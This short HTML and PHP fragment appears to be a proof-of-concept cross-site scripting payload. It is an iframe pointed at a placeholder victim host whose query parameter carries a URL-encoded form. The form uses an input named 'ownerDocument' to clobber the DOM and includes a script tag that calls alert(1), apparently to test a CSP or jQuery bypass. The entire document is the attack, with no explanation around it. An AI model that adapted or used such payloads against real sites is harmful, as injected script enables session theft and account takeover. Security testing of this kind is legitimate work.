<iframe src="//victim.example.com/repo/csp/sd/jquery.php?inj=<?php
$payload = <<<'PAYLOAD'
<form class="child"><input name="ownerDocument"/><script>alert(1);</script></form>
PAYLOAD;
echo urlencode($payload);
?>"></iframe>
